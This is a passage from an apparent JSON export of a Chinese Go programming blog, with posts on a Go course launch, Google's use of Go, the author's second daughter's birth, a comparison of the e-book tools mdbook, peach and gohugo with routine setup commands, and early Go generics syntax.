https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/09/08/imooc-go-column-is-available/","summary":"\u003cp\u003e断断续续写了一年多的\u003ca href=\"https://www.imooc.com/read/87\"\u003eGo专栏：《改善Go语言编程质量的50个有效实践》\u003c/a\u003e今天终于正式上线了！- \u003ca href=\"https://www.imooc.com/read/87\"\u003ehttps://www.imooc.com/read/87\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-column-pgo-with-qr-and-text.png\"\u003e\u003c/p\u003e\n\u003cp\u003e慕课专栏：《改善Go语言编程质量的50个有效实践》\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e是Google大牛团队(Robert Griesemer、Rob Pike以及Ken Thompson)设计的一种静态类型、编译型编程语言，支持垃圾回收和轻量级并发，它于2009年11月诞生，一面世就以语法简单、原生支持并发、标准库强大、工具链丰富等优点吸引了大量开发者。经过\u003ca href=\"https://tonybai.com/2019/11/09/go-opensource-10-years/\"\u003e10余年演化和发展\u003c/a\u003e，Go如今已成为\u003ca href=\"https://tonybai.com/2020/05/01/rob-pike-interview-go-become-the-language-of-cloud-infrastructure/\"\u003e云基础架构的标准编程语言\u003c/a\u003e，很多云原生时代的杀手级平台、中间件、协议和应用都是采用Go语言开发的，比如：\u003ca href=\"https://tonybai.com/tag/docker\"\u003eDocker\u003c/a\u003e、\u003ca href=\"https://coding.imooc.com/class/chapter/284.html\"\u003eKubernetes\u003c/a\u003e、\u003ca href=\"http://ethereum.org/\"\u003e以太坊\u003c/a\u003e、\u003ca href=\"https://github.com/hyperledger/fabric\"\u003eHyperledger Fabric超级账本\u003c/a\u003e、新一代互联网基础设施协议\u003ca href=\"https://github.com/ipfs/ipfs\"\u003eipfs\u003c/a\u003e等。\u003c/p\u003e","title":"官宣：Go专栏“改善Go语言编程质量的50个有效实践”上线了"},{"content":"Go语言始于2007年9月，当时Robert Griesemer，Ken Thompson和我开始讨论设计一种新语言，以解决我们和Google同事在日常工作中面临的工程挑战。我们当时编写的软件通常是一个网络服务器-一个与数百台其他服务器交互的程序-并且在其生命周期内，成千上万的程序员可能会参与编写和维护它。但是我们当时正在使用的语言似乎没有提供正确的工具来解决我们在这种复杂环境中面临的问题。\n因此，我们坐了一个下午，开始讨论一种不同的方法。\n当我们于2009年11月首次向公众发布Go时，我们不知道该语言是否会被广泛采用或是否会影响未来的编程语言。回顾2020年，Go在这两方面都取得了成功：它在Google内部和外部都得到了广泛使用，其网络并发和软件工程方法对其他语言及其工具产生了显着影响。\n事实证明，Go的影响范围比我们预期的要广泛得多。它在行业中的增长令人瞩目，并为Google的许多项目提供了动力。\n感谢Renee French提供的Gopher插图。\n在Google内部，Go用于生产用途最早出现在2011年，那一年我们在App Engine上发布了Go，并开始通过Vitess为YouTube数据库提供流量代理服务。当时，Vitess的作者告诉我们，Go正是他们所需要的那种语言- 简单网络编程，高效执行和快速开发的结合，并且如果不使用Go，他们可能根本无法构建这个系统。\n第二年，Go取代Sawzall被用作Google的搜索质量分析。当然，Go还推动了Google在2014年开发和推出Kubernetes。\n在过去的一年中，我们发布了来自十六个来自全球Go用户的案例研究，这些案例讨论了他们如何使用Go大规模构建快速、可靠和高效的软件。今天，我们将添加来自Google内部团队的三个新的案例研究：\n核心数据解决方案： Google的核心数据团队用更灵活的微服务系统取代了用C++编写的整体式索引管道以为Google搜索提供支持，其中大多数服务使用Go编写。\nGoogle Chrome：精简模式下的Google Chrome移动用户依靠Chrome优化指南服务器来提供提示，以优化其地理区域内知名网站的页面加载。用Go语言编写的服务器每天可为数百万用户提供更快的页面加载速度和更低的数据使用率。\nFirebase：Google Cloud客户选择Firebase作为他们选择的移动和网络托管平台。加入Google后，该团队将其后端服务器从Node.js完全迁移到Go，以实现轻松并发和高效执行。\n我们希望这些故事能为Go开发人员和社区提供更深入的见解，以了解Google团队选择Go的原因，使用Go的目的以及团队做出这些决定的不同途径。\n如果您想分享有关您的团队或组织如何使用Go的故事，请与我们联系。\n杰出工程师Rob Pike提供。\n本文翻译自Google官方博客：《New Case Studies About Google’s Use of Go》。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/08/30/new-case-studies-about-googles-use-of-go/","summary":"\u003cp\u003eGo语言始于2007年9月，当时Robert Griesemer，Ken Thompson和我开始讨论设计一种新语言，以解决我们和Google同事在日常工作中面临的工程挑战。我们当时编写的软件通常是一个网络服务器-一个与数百台其他服务器交互的程序-并且在其生命周期内，成千上万的程序员可能会参与编写和维护它。但是我们当时正在使用的语言似乎没有提供正确的工具来解决我们在这种复杂环境中面临的问题。\u003c/p\u003e","title":"Google内部是如何使用Go语言的"},{"content":"2020年7月23日早6点46分，随着我家二宝(小名：七月)的呱呱坠地，我又当爸爸了!\n图：二宝出生后的第一张照片\n距离我家大宝(果果)的出生已经十年了。在这十年间，果果已经出落成一个聪明可爱、灵通剔透、漂亮温柔的大姑娘了，妥妥的是妈妈的小棉袄，爸爸的小情人:)，姥姥的小粘包，爷爷奶奶的乖孙女。\n图：大宝果果是大姑娘了\n但每每当果果提到其同班同学多数都有姐妹或兄弟陪伴上学、上才艺课的时候，我和我老婆的心里就会一动：究竟该不该给果果生一个亲弟弟/妹妹呢？ 2019下半年，我们决定为果果生个弟弟或妹妹。我们计划尝试半年，如果不行，我们年龄也大了，也许真的就不会再要了。结果上天十分眷顾我们，老婆在10月末怀上了。\n大宝的愿望是我们要二宝的最直接和最主要的原因，我们也觉得两个宝宝在人生路上能相互陪伴总是更好的。其次，大宝出生时，我们还年轻，体验不充分，这次想再来一遍(也不知道哪来的这份勇气^_^)；再次，老人那边还有精力，还可以帮忙照顾孩子，我们在忙事业的同时，也不会有太多的后顾之忧；最后，两个宝宝也让家庭结构更合理。\n写到这里，我也感觉上面的理由写得有些“冠冕堂皇”！想要就要，哪还需要这么多“借口”^_^。\n生二宝唯一的担心就是已经是“高龄”的老婆。和十年前年轻的她相比，这次在孕期、生产和产后的风险都要高出许多。因此，在整个十月怀胎以及生产的过程中，我都更为紧张，但能做的也只有全程守护在老婆身边：制定营养计划、每天接送、全程陪检等。老婆本人倒是没有这方面担心，鉴于大宝生产前后的顺利，她坚信这次二宝也会同样顺利。\n整个孕期也正如老婆坚信的那样，一切都很顺利，除了老婆患上了妊娠期糖尿病。老婆的一个性格特点就是认准一件事后，就能坚定不移地、自律地执行下去。由于妊娠期糖尿病对饮食的要求，老婆整整几个月都远离美味的“糖分”，保证了二宝在肚肚里的健康发育。同时，为了能够像一胎那样顺产，老婆坚持每天都要走上1w步，风雨无阻，天气不好，就在楼梯间里爬楼梯或在顶楼露台来回踱步。这份坚毅让老婆在38周的彩超检查中收获了期望的结论：医生看完彩超结果后给了我老婆十分肯定的诊断意见：你一定可以自己生！\n老婆，你真的很伟大！\n老婆在7月22日早晨见红了。按照一般经验，见红后24-48小时二宝就会出生了。7月23日凌晨3点老婆有了宫缩反应，虽然还不规律，但保险起见，我和老婆还是决定带上行李赶往医院。3:30到达医院急诊，产科的急诊大夫给开了一些检查和检验，结果出来后，就安排老婆去了(盛京医院滑翔园区)第五产科住院处办理住院。住院医生给老婆做了内检，说老婆今天很快就能生。早上5:00多，老婆进入待产室。随着规律性宫缩的到来，老婆十分痛苦。6点20分，医生决定让老妈进分娩室，我就在外面焦急等待。\n老婆肚子里的二宝仿佛知道体谅她的妈妈，十分配合妈妈生产，让产程大大缩短，大大减少了老婆生产过程中承受的疼痛的时长。 在老婆进入分娩室后仅30分钟，站在分娩室外的我就听到了我家二宝第一声响亮的婴儿啼哭声。那时那刻，我和大宝出生时一样，流下了兴奋而又心疼老婆的眼泪。\n母女平安！我的一颗高悬的心终于放下了，我再次当爸爸了！\n微信赞赏：\n","permalink":"https://tonybai.com/2020/07/29/my-second-daughter-was-born/","summary":"\u003cp\u003e2020年7月23日早6点46分，随着我家\u003ca href=\"https://daughter2.tonybai.com/\"\u003e二宝(小名：七月)\u003c/a\u003e的呱呱坠地，\u003cstrong\u003e我又当爸爸了\u003c/strong\u003e!\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/my-second-daughter/ally-was-born.jpeg\"\u003e\u003c/p\u003e\n\u003cp\u003e图：二宝出生后的第一张照片\u003c/p\u003e\n\u003cp\u003e距离我家\u003ca href=\"https://tonybai.com/2010/05/11/now-i-am-a-father/\"\u003e大宝(果果)的出生\u003c/a\u003e已经十年了。在这十年间，\u003ca href=\"https://daughter.tonybai.com/\"\u003e果果\u003c/a\u003e已经出落成一个聪明可爱、灵通剔透、漂亮温柔的大姑娘了，妥妥的是\u003cstrong\u003e妈妈的小棉袄，爸爸的小情人:)，姥姥的小粘包，爷爷奶奶的乖孙女\u003c/strong\u003e。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2: img{512x368}\" loading=\"lazy\" src=\"/images/wp-content/uploads/guoguo-ten-years-old/guoguo-10-years-old-1.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e图：大宝果果是大姑娘了\u003c/p\u003e\n\u003cp\u003e但每每当果果提到其同班同学多数都有姐妹或兄弟陪伴上学、上才艺课的时候，我和我老婆的心里就会一动：\u003cstrong\u003e究竟该不该给果果生一个亲弟弟/妹妹呢？\u003c/strong\u003e 2019下半年，我们决定为果果生个弟弟或妹妹。我们计划尝试半年，如果不行，我们年龄也大了，也许真的就不会再要了。结果\u003cstrong\u003e上天十分眷顾我们，老婆在10月末怀上了\u003c/strong\u003e。\u003c/p\u003e","title":"又当爸爸了！"},{"content":"基于Markdown格式文件写博客已经很多年了，一直使用的是Wordpress的markdown插件，由于各种遗留原因，一直没有转换到直接使用静态站点的方式。博客文章之间一般来说多是独立篇章，少有关联，即便是写一个系列文章，数量也不会太多。因此，用博客形式来组织书籍章节是不大合适的。“术业有专攻”，我们还得寻找专门用来制作电子书的工具或平台，并且要支持本地安装，支持基于Markdown格式的源数据文件。\n专门用于制作电子书类文档的知名工具包括：gitbook和Read the Docs。不过前者的开源版本2018年末就不更新了，而Read the Docs则比较老，还需要多个工具配合。我个人倾向于单个二进制文件搞定一切。于是我找到了三个候选：gohugo、mdbook和peach，这三个候选部署时都只有一个二进制文件。gohugo和peach是Go语言实现的，而mdbook则是用Rust语言实现的。下面我们就来简单对比一下这三个基于Markdown格式的电子书制作工具。\n1. mdbook mdbook是模仿gitbook样式的从markdown文件生成电子书的工具和静态站点服务，它仅聚焦于“电子书制作和站点服务”。如果不是类似gitbook风格的其他类静态内容服务，那么它并不适合。因此，该工具采用了惯例优先原则(convention over configuration)，使得使用时我们无需做太多的配置即可生成一个像模像样的电子书站点。\n由于是rust实现的，mdbook本地部署时只需一个二进制文件，我们直接从它的github release上下载对应os平台的release文件（这里是macos的0.4.0版本）：\nwget -c https://github.com/rust-lang/mdBook/releases/download/v0.4.0/mdbook-v0.4.0-x86_64-apple-darwin.tar.gz 解压后，将mdbook所在路径添加到PATH环境变量中：\n$tar zxvf mdbook-v0.4.0-x86_64-apple-darwin.tar.gz x mdbook $ls mdbook* mdbook-v0.4.0-x86_64-apple-darwin.tar.gz $mdbook -help mdbook v0.4.0 Mathieu David \u0026lt;mathieudavid@mathieudavid.org\u0026gt; Creates a book from markdown files USAGE: mdbook [SUBCOMMAND] FLAGS: -h, --help Prints help information -V, --version Prints version information SUBCOMMANDS: build Builds a book from its markdown files clean Deletes a built book help Prints this message or the help of the given subcommand(s) init Creates the boilerplate structure and files for a new book serve Serves a book at http://localhost:3000, and rebuilds it on changes test Tests that a book's Rust code samples compile watch Watches a book's files and rebuilds it on changes For more information about a specific command, try `mdbook \u0026lt;command\u0026gt; --help` The source code for mdBook is available at: https://github.com/rust-lang/mdBook 接下来，我们就使用mdbook init命令创建一个电子书工程：\n$mdbook init go-ml Do you want a .gitignore to be created? (y/n) y What title would you like to give the book? go machine learning 2020-06-27 15:58:03 [INFO] (mdbook::book::init): Creating a new book with stub content All done, no errors... 我们看到mdbook init生成了一个目录，目录布局如下：\n➜ /Users/tonybai/MyEbook/mdbook git:(master) ✗ $tree . └── go-ml ├── book ├── book.toml └── src ├── SUMMARY.md └── chapter_1.md 3 directories, 3 files 接下来，我们直接运行mdbook serve即启动了一个服务，用于访问该电子书：\n➜ /Users/tonybai/MyEbook/mdbook git:(master) ✗ $mdbook serve go-ml 2020-06-27 16:06:56 [INFO] (mdbook::book): Book building has started 2020-06-27 16:06:56 [INFO] (mdbook::book): Running the html backend 2020-06-27 16:06:56 [INFO] (mdbook::cmd::serve): Serving on: http://localhost:3000 2020-06-27 16:06:56 [INFO] (warp::server): listening on http://[::1]:3000 2020-06-27 16:06:56 [INFO] (mdbook::cmd::watch): Listening for changes... 我们通过浏览器访问http://localhost:3000，可以看到如下页面：\n图：mdbook生成的电子书首页\n我们看到：我们没有做任何配置就生成了一个和gitbook样式差不多的电子书服务站点。该站点还支持选择页面显示模式（截图中使用的是默认的Light模式）、支持查询等。\n如果我们要增加新章节、编排章节标题缩进，只需编辑电子书工程下面的src/SUMMARY.md：\n$cat SUMMARY.md # Summary - [Chapter 1](./chapter_1.md) - [Chapter 1.1](./chapter_1_1.md) - [Chapter 2](./chapter_2.md) 这些对于多数人来说已经是足够了的，后续只需关注书籍内容即可，无需对mdbook生成的工程进行什么调整。mdbook会自动探测src目录下的文件变化并根据变化重新生成静态html文件。我们只需刷新页面即可看到最新变化。\n2. peach peach是一款由Go语言实现的多语言、实时同步以及全文搜索功能的 Web 文档服务器。它由gogs的作者无闻打造，该作者的很多开源项目的文档也都是由peach生成和提供文档服务支撑的。\n我们可以直接使用go get安装peach：\n$export GONOSUMDB=\u0026quot;github.com/russross/blackfriday\u0026quot; $go get github.com/peachdocs/peach go: github.com/peachdocs/peach upgrade =\u0026gt; v0.9.8 $peach -v Peach version 0.9.8.0810 接下来，我们用peach建立电子书工程：\n$peach new -target=go-ml.peach ➜ Creating 'go-ml.peach'... ➜ Creating 'templates'... ➜ Creating 'public'... Do you want to use custom templates?[Y/n] n ✓ Done! 我们这里直接使用peach项目自身文档的自定义模板：\n下载配置好的自定义模板：\n$ cd go-ml.peach $ git clone https://github.com/peachdocs/peach.peach.git custom Cloning into 'custom'... remote: Enumerating objects: 62, done. remote: Total 62 (delta 0), reused 0 (delta 0), pack-reused 62 Unpacking objects: 100% (62/62), done. Checking connectivity... done. 启动web服务：\n$peach web intro/ |__ installation |__ getting_started |__ roadmap howto/ |__ documentation |__ webhook |__ templates |__ static_resources |__ navbar |__ pages |__ extension |__ protect_resources |__ upgrade advanced/ |__ config_cheat_sheet faqs/ intro/ |__ installation |__ getting_started |__ roadmap howto/ |__ documentation |__ webhook |__ templates |__ static_resources |__ navbar |__ pages |__ extension |__ protect_resources |__ upgrade advanced/ |__ config_cheat_sheet faqs/ [Peach] 20-06-27 10:17:31 [ INFO] Peach 0.9.8.0810 [Peach] 20-06-27 10:17:31 [ INFO] Peach Server Listen on 127.0.0.1:5556 我们通过浏览器访问http://localhost:5556，可以看到如下页面：\n图：peach生成的电子书目录页\n不过，和mdbook不同，上面peach加载并渲染的文档并不在本地，我们在custom/app.ini中看到如下配置：\n[docs] TYPE = remote TARGET = https://github.com/peachdocs/docs.git SECRET = peach 我们看到当前例子采用了remote模式，即使用Github上的仓库peachdocs/docs中的数据(markdown文件）作为源文件进行渲染，而这个仓库的结构如下：\n$tree -L 2 docs docs ├── TOC.ini ├── en-US │ ├── advanced │ ├── faqs │ ├── howto │ └── intro ├── images │ └── github_webhook.png └── zh-CN ├── advanced ├── faqs ├── howto └── intro 11 directories, 2 files TOC.ini文件描述了文档结构布局：\n$cat TOC.ini -: intro -: howto -: advanced -: faqs [intro] -: README -: installation -: getting_started -: roadmap [howto] -: README -: documentation -: webhook -: templates -: static_resources -: navbar -: pages -: extension -: protect_resources -: upgrade [advanced] -: README -: config_cheat_sheet [faqs] -: README 我们看到，和mdbook相比，peach的门槛稍高一些，需要学习TOC.ini中的特殊配置语法，同时如果要改变peach的默认风格，还要学习peach使用的模板语法(Peach 使用 Go 语言 Pongo2 v3 版本 作为模板引擎，它使用的是 Django HTML 格式)。\n3. gohugo+git book theme gohugo是这几年最火的静态站点生成工具。和上面两个工具不同的是：它致力于成为一个通用的静态站点工具，与hexo等目标一致。结合gohugo与git book风格的theme也能实现电子书制作与站点服务。\n经过多年发展，gohugo的安装十分方便：在macos上，我们既可以使用go get安装（gohugo支持module），也可以使用brew安装：\n$brew install hugo ==\u0026gt; Downloading https://mirrors.ustc.edu.cn/homebrew-bottles/bottles/hugo-0.69.2.mojave.bottle.tar.gz ==\u0026gt; Summary /usr/local/Cellar/hugo/0.69.2: 42 files, 74.3MB ==\u0026gt; `brew cleanup` has not been run in 30 days, running now... Removing: /usr/local/Cellar/gettext/0.20.1... (1,899 files, 18.5MB) ... ... $hugo version Hugo Static Site Generator v0.69.2/extended darwin/amd64 BuildDate: unknown 通过hugo new site命令，我们来创建一个新的站点：\n$hugo new site go-machine-learning Congratulations! Your new Hugo site is created in /Users/tonybai/MyEbook/gohugo/go-machine-learning. Just a few more steps and you're ready to go: 1. Download a theme into the same-named folder. Choose a theme from https://themes.gohugo.io/ or create your own with the \u0026quot;hugo new theme \u0026lt;THEMENAME\u0026gt;\u0026quot; command. 2. Perhaps you want to add some content. You can add single files with \u0026quot;hugo new \u0026lt;SECTIONNAME\u0026gt;/\u0026lt;FILENAME\u0026gt;.\u0026lt;FORMAT\u0026gt;\u0026quot;. 3. Start the built-in live server via \u0026quot;hugo server\u0026quot;. Visit https://gohugo.io/ for quickstart guide and full documentation. 下面是生成的站点的初始目录结构：\n$tree . └── go-machine-learning ├── archetypes │ └── default.md ├── config.toml ├── content ├── data ├── layouts ├── static └── themes 7 directories, 2 files 接下来我们来安装gitbook theme：\n$cd go-machine-learning $git submodule add https://github.com/alex-shpak/hugo-book themes/book Cloning into '/Users/tonybai/MyEbook/gohugo/go-machine-learning/hugo-book'... remote: Enumerating objects: 3555, done. Receiving objects: 18% (664/3555), 692.01 KiB | 4.00 KiB/s ... ... remote: Total 3555 (delta 0), reused 0 (delta 0), pack-reused 3555 Receiving objects: 100% (3555/3555), 5.74 MiB | 5.00 KiB/s, done. Resolving deltas: 100% (1809/1809), done. 我们可以修改一下顶层目录的config.toml，增加theme=”book”：\nbaseURL = \u0026quot;http://example.org/\u0026quot; languageCode = \u0026quot;zh-cn\u0026quot; title = \u0026quot;Go机器学习\u0026quot; theme = \u0026quot;book\u0026quot; 启动该站点：\n$hugo server --minify --theme book | EN -------------------+----- Pages | 7 Paginator pages | 0 Non-page files | 0 Static files | 80 Processed images | 0 Aliases | 0 Sitemaps | 1 Cleaned | 0 Built in 26 ms Watching for changes in /Users/tonybai/MyEbook/gohugo/go-machine-learning/{archetypes,content,data,layouts,static,themes} Watching for config changes in /Users/tonybai/MyEbook/gohugo/go-machine-learning/config.toml Environment: \u0026quot;development\u0026quot; Serving pages from memory Running in Fast Render Mode. For full rebuilds on change: hugo server --disableFastRender Web Server is available at http://localhost:1313/ (bind address 127.0.0.1) Press Ctrl+C to stop 这时由于content目录为空，因此通过浏览器访问: localhost:1313后只能看到只有一个标题的空白页面。\n我们将https://github.com/alex-shpak/hugo-book themes/book下面的样例站点的content拷贝到我们的站点中：\n$cp -R themes/book/exampleSite/content . $ll content total 8 drwxr-xr-x 6 tonybai staff 192 6 27 16:36 ./ drwxr-xr-x 12 tonybai staff 384 6 27 16:35 ../ -rw-r--r-- 1 tonybai staff 1165 6 27 16:36 _index.md drwxr-xr-x 4 tonybai staff 128 6 27 16:36 docs/ drwxr-xr-x 3 tonybai staff 96 6 27 16:36 menu/ drwxr-xr-x 7 tonybai staff 224 6 27 16:36 posts/ 再次启动hugo server后，我们通过浏览器浏览，可以看到下面页面：\n图：gohugo生成的电子书目录页\n我们看到这个页面分为三栏，最左侧是站点目录栏，中间是章节内容，右侧显示的是内容中的标题结构。电子书源文件分布在content目录下，该目录的结构如下：\n$tree -L 2 content content ├── _index.md ├── docs │ ├── example │ └── shortcodes ├── menu │ └── index.md └── posts ├── _index.md ├── chapter_1.md ├── creating-a-new-theme.md ├── goisforlovers.md ├── hugoisforlovers.md └── migrate-from-jekyll.md 5 directories, 8 files _index.md是首页布局\nmenu/index.md是左侧栏的布局\n其他均为文章内容源文件。如果我们要调整首页布局或左侧栏的书籍结构，我们只需调整上述两个文件即可。\n4. 小结 我们粗略、快速对mdbook、peach和gohugo工具做了比较，三者部署时都是单二进制文件。\n我们的目标是利用工具生成电子书，仅从达到这个目的难易度来看：\nmdbook是“门槛”最低的，几乎无需配置，就能搭建出一个像模像样的类似gitbook的图书站点；\npeach门槛较高一些，要配置的东西多一些；\ngohugo门槛适中，但却最为灵活和强大。如果对gohugo的模板语法十分熟悉，可以定义出一套满足自己风格的电子书浏览页面风格。\n我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2020/06/27/gohugo-vs-mdbook-vs-peach/","summary":"\u003cp\u003e基于\u003ca href=\"http://en.wikipedia.org/wiki/Markdown\"\u003eMarkdown格式\u003c/a\u003e文件\u003ca href=\"https://tonybai.com/2015/09/19/write-blog-in-markdown/\"\u003e写博客已经很多年了\u003c/a\u003e，一直使用的是Wordpress的markdown插件，由于各种遗留原因，一直没有转换到直接使用静态站点的方式。博客文章之间一般来说多是独立篇章，少有关联，即便是写一个系列文章，数量也不会太多。因此，用博客形式来组织书籍章节是不大合适的。“术业有专攻”，我们还得寻找专门用来制作电子书的工具或平台，并且要支持本地安装，支持基于Markdown格式的源数据文件。\u003c/p\u003e\n\u003cp\u003e专门用于制作电子书类文档的知名工具包括：\u003ca href=\"https://www.gitbook.com/\"\u003egitbook\u003c/a\u003e和\u003ca href=\"https://readthedocs.org/\"\u003eRead the Docs\u003c/a\u003e。不过前者的\u003ca href=\"https://github.com/GitbookIO/gitbook\"\u003e开源版本\u003c/a\u003e2018年末就\u003ca href=\"https://legacy.gitbook.com/\"\u003e不更新了\u003c/a\u003e，而\u003cstrong\u003eRead the Docs\u003c/strong\u003e则比较老，还需要多个工具配合。我个人倾向于单个二进制文件搞定一切。于是我找到了三个候选：\u003ca href=\"https://gohugo.io/\"\u003egohugo\u003c/a\u003e、\u003ca href=\"https://github.com/rust-lang/mdBook\"\u003emdbook\u003c/a\u003e和\u003ca href=\"https://github.com/peachdocs/peach\"\u003epeach\u003c/a\u003e，这三个候选部署时都只有一个二进制文件。\u003ca href=\"https://tonybai.com/2015/09/23/intro-of-gohugo/\"\u003egohugo\u003c/a\u003e和peach是\u003ca href=\"https://tonybai.com/tag/go\"\u003eGo语言\u003c/a\u003e实现的，而mdbook则是用\u003ca href=\"https://www.rust-lang.org/\"\u003eRust语言\u003c/a\u003e实现的。下面我们就来简单对比一下这三个基于Markdown格式的电子书制作工具。\u003c/p\u003e","title":"基于Markdown格式的电子书生成工具大比拼：gohugo、mdbook和peach"},{"content":"Go官博今晨发表了Go核心团队两位大神Ian Lance Taylor和Go语言之父之一的Robert Griesemer撰写的文章“The Next Step for Generics”，该文介绍了Go泛型(Go Generics)的最新进展和未来计划。\n2019年中旬，在Go 1.13版本发布前夕的GopherCon 2019大会上，Ian Lance Taylor代表Go核心团队做了有关Go泛型进展的介绍。自那以后，Go团队对原先的Go Generics技术草案做了进一步精化，并编写了相关工具让社区gopher体验满足这份设计的Go generics语法，返回建议和意见。经过一年多的思考、讨论、反馈与实践，Go核心团队决定在这份旧设计的基础上另起炉灶，撰写了一份Go Generics的新技术提案：“Type Parameters”。与上一份提案最大的不同在于使用扩展的interface类型替代**“Contract”**用于对类型参数的约束。\n**parametric polymorphism((形式)参数多态)**是Go此版泛型设计的基本思想。和Go设计思想一致，这种参数多态并不是通过像面向对象语言那种子类型的层次体系实现的，而是通过显式定义结构化的约束实现的。基于这种设计思想，该设计不支持模板元编程(template metaprogramming)和编译期运算。\n注意：虽然都称为泛型(generics)，但是Go中的泛型(generics)仅是用于狭义地表达带有类型参数(type parameter)的函数或类型，这与其他编程语言中的泛型(generics)在含义上有相似性，但不完全相同。\n从目前的情况来看，该版设计十分接近于最终接受的方案，因此作为Go语言鼓吹者这里就和大家一起看看最早将于Go 1.17版本(2021年8月)中加入的Go泛型支持究竟是什么样子的。由于目前关于Go泛型的资料仅限于这份设计文档以及一些关于这份设计的讨论贴，本文内容均来自这些资料。另外最终加入Go的泛型很可能与目前设计文档中提到的有所差异，请各位小伙伴们了解。\n1. 通过为type和function增加类型参数(type parameters)的方式实现泛型 Go的泛型主要体现在类型和函数的定义上。\n泛型函数(generic function) Go提案中将带有**类型参数(type parameters)**的函数称为泛型函数，比如：\nfunc PrintSlice(type T)(s []T) { for _, v := range s { fmt.Printf(\u0026quot;%v \u0026quot;, v) } fmt.Print(\u0026quot;\\n\u0026quot;) } 其中，函数名PrintSlice与函数参数列表之间的type T即为类型参数列表。顾名思义，该函数用于打印元素类型为T的切片中的所有元素。使用该函数的时候，除了要传入要打印的切片实参外，还需要为类型参数传入实参（一个类型名)，这个过程称为泛型函数的实例化。见下面例子：\n// https://go2goplay.golang.org/p/rDbio9c4AQI package main import \u0026quot;fmt\u0026quot; func PrintSlice(type T)(s []T) { for _, v := range s { fmt.Printf(\u0026quot;%v \u0026quot;, v) } fmt.Print(\u0026quot;\\n\u0026quot;) } func main() { PrintSlice(int)([]int{1, 2, 3, 4, 5}) PrintSlice(float64)([]float64{1.01, 2.02, 3.03, 4.04, 5.05}) PrintSlice(string)([]string{\u0026quot;one\u0026quot;, \u0026quot;two\u0026quot;, \u0026quot;three\u0026quot;, \u0026quot;four\u0026quot;, \u0026quot;five\u0026quot;}) } 运行该示例：\n1 2 3 4 5 1.01 2.02 3.03 4.04 5.05 one two three four five 但是这种每次都显式指定类型参数实参的使用方式显然有些复杂繁琐，给开发人员带来心智负担和不好的体验。Go编译器是聪明的，大多数使用泛型函数的场景下，编译器都会根据函数参数列表传入的实参类型自动推导出类型参数的实参类型(type inference）。比如将上面例子改为下面这样，程序依然可以输出正确的结果。\n// https://go2goplay.golang.org/p/UgHqZ7g4rbo package main import \u0026quot;fmt\u0026quot; func PrintSlice(type T)(s []T) { for _, v := range s { fmt.Printf(\u0026quot;%v \u0026quot;, v) } fmt.Print(\u0026quot;\\n\u0026quot;) } func main() { PrintSlice([]int{1, 2, 3, 4, 5}) PrintSlice([]float64{1.01, 2.02, 3.03, 4.04, 5.05}) PrintSlice([]string{\u0026quot;one\u0026quot;, \u0026quot;two\u0026quot;, \u0026quot;three\u0026quot;, \u0026quot;four\u0026quot;, \u0026quot;five\u0026quot;}) } 泛型类型(generic type) Go提案中将带有**类型参数(type parameters)**的类型定义称为泛型类型，比如我们定义一个底层类型为切片类型的新类型：Vector：\ntype Vector(type T) []T 该Vector(切片)类型中的元素类型为T。和泛型函数一样，使用泛型类型时，我们首先要对其进行实例化，即显式为类型参数赋一个实参值（一个类型名）：\n//https://go2goplay.golang.org/p/tIZN2if1Wxo package main import \u0026quot;fmt\u0026quot; func PrintSlice(type T)(s []T) { for _, v := range s { fmt.Printf(\u0026quot;%v \u0026quot;, v) } fmt.Print(\u0026quot;\\n\u0026quot;) } type Vector(type T) []T func main() { var vs = Vector(int){1, 2, 3, 4, 5} PrintSlice(vs) } 